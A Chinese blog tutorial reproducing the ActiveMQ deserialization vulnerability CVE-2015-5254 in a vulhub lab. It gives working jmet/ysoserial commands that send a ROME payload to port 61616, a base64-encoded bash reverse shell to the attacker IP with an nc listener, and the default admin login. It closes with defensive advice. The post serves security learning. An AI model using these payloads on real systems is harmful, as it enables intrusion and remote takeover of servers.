ActiveMQ反序列化漏洞原理+复现

ActiveMQ反序列化漏洞

ActiveMQ

ActiveMQ是开源消息总线,消息中间件

工作原理

通过使用消息队列,实现服务的异步处理,主要目的是减少请求响应时间和解耦合。

消息队列,服务器A将客户发起的请求放入服务器B的消息队列中,服务器B从消息队列中取出并处理。

从以上内容中可以看出,消息中间件的主要功能就是为了解耦合、消峰和异步,即解决高并发问题和系统间的RPC交互繁杂问题。

漏洞原理

此漏洞源于程序没有限制可在代理中序列化的类。远程攻击这可借助特制的序列化的Java Message Service(JMS)ObjectMessage对象利用该漏洞执行任意代码。

解释说明

ActiveMQ通过消息队列来实现信息传递,每个消息要保证发出端和接收端格式相同,其中使用了序列化的方法进行传递,在这个过程中没有限制可在代理中序列化的类,这时候我们就可以自己构造一份序列化的恶意代码payload,将其作为事件发到ActiveMQ服务上,在管理员在后台管理时触发了payload,或者攻击者使用弱口令拿到ActiveMQ的账户,并执行了payload,则可以成功利用该漏洞

使用限制
  1. ActiveMQ的版本<=5.13.0
  2. payload需要主动触发
漏洞复现
实验配置

靶机地址:192.168.27.128:

攻击机:192.168.27.129

创建容器

ps:如果没有安装好docker请看上篇文章

cd vulhub

cd /activemq/CVE-2015-5254

docker-compose up -d

环境运行后,将监听61616和8161两个端口。其中61616是工作端口,消息在这个端口进行传递;8161是Web管理页面端口。

测试靶机

用攻击机访问靶机ip:8161,查看是否开启成功

在这里插入图片描述

看到如下页面,则说明安装成功

漏洞利用
  1. ysoserial是java反序列化利用的工具之一,其中集合了各种java反序列化的payload
  2. jmet集成了ysoserial,所以我们只需要安装jmet即可
  3. 将序列化对象作为一个消息,发送给目标61616工作端口
  4. 访问web管理页面,读取消息,触发漏洞
安装jmet

cd /opt

wget https://github.com/matthiaskaiser/jmet/releases/download/0.1.0/jmet-0.1.0-all.jar

mkdir external

在这里插入图片描述

直接输入到终端即可

构造测试payload

java -jar jmet-0.1.0-all.jar -Q chenevent -I ActiveMQ -s -Y “touch /tmp/chen.txt” -Yp ROME 192.168.27.128 61616

使用ROME payload 把touch /tmp/chen.txt 命令序列化后作为名为chenevent的消息发给ActiveMQ

-Q 指定消息名

-I 选择要装载的JMS客户端

-s 选择ysoserial paylad

-Y 指定命令

-Yp 指定payload

最后是ip与端口

在这里插入图片描述

打开web页面

账号密码都是admin

如图操作

在这里插入图片描述
在这里插入图片描述

用靶机连接到docker容器,查看tmp目录下是否存在chen.txt

docker exec -it 容器id /bin/bash

docker ps 看容器id

在这里插入图片描述

看到chen.txt说明测试成功啦

终极目标!拿到shell

来个制作反弹shell的网站

https://www.revshells.com/

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-yLBGey4w-1678327567182)(C:\Users\34232\AppData\Roaming\Typora\typora-user-images\image-20230309093515332.png)]

sh -i >& /dev/tcp/192.168.27.129/8023 0>&1

反弹shell一般都需要加密,咱就base64一下

base64加密网站:http://www.jsons.cn/base64/

c2ggLWkgPiYgL2Rldi90Y3AvMTkyLjE2OC4yNy4xMjkvODAyMyAwPiYx

构建payload

和上面测试payload一样,将命令替换即可

java -jar jmet-0.1.0-all.jar -Q chenevent -I ActiveMQ -s -Y “bash -c {echo,c2ggLWkgPiYgL2Rldi90Y3AvMTkyLjE2OC4yNy4xMjkvODAyMyAwPiYx}|{base64,-d}|{bash,-i}” -Yp ROME 192.168.27.128 61616

攻击机先开启端口监听,监听8023端口

nc -lvnp 8023

然后开新终端输入payload,靶机模拟管理员点击事件

在这里插入图片描述

成功拿到shell!

  • 1
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
ActiveMQ 反序列化漏洞是指在使用 ActiveMQ 进行消息传递时,由于未正确验证和过滤用户提交的数据,恶意攻击者可以利用该漏洞在目标系统上执行任意代码。这种漏洞通常是由于未正确配置 ActiveMQ 的序列化和反序列化机制造成的。 攻击者可以构造恶意序列化对象,然后将其发送给 ActiveMQ 服务器。当服务器接收到恶意序列化对象并进行反序列化时,恶意代码就会被执行,从而导致系统受到攻击。 为了防止 ActiveMQ 反序列化漏洞的利用,可以采取以下措施: 1. 更新和升级:及时更新 ActiveMQ 版本,以获取最新的安全修复和漏洞修复。 2. 配置安全策略:通过配置 ActiveMQ 的安全策略来限制用户对序列化和反序列化的访问权限,只允许信任的类进行反序列化操作。 3. 输入验证和过滤:在接收到消息之前,对用户提交的数据进行严格的输入验证和过滤,确保只接受合法和可信的数据。 4. 序列化过滤:实施白名单机制,只允许特定的类进行反序列化操作,阻止未知类的反序列化。 5. 安全意识培训:加强对开发人员和系统管理员的安全意识培训,提高他们对反序列化漏洞的认识,以及如何正确地使用 ActiveMQ。 请注意,这些建议只是一些通用的防御措施,具体的安全配置和防护措施需要根据实际情况进行调整和实施。建议在使用 ActiveMQ 或其他中间件时,密切关注厂商的安全公告和最佳实践。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

白帽Chen_D

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值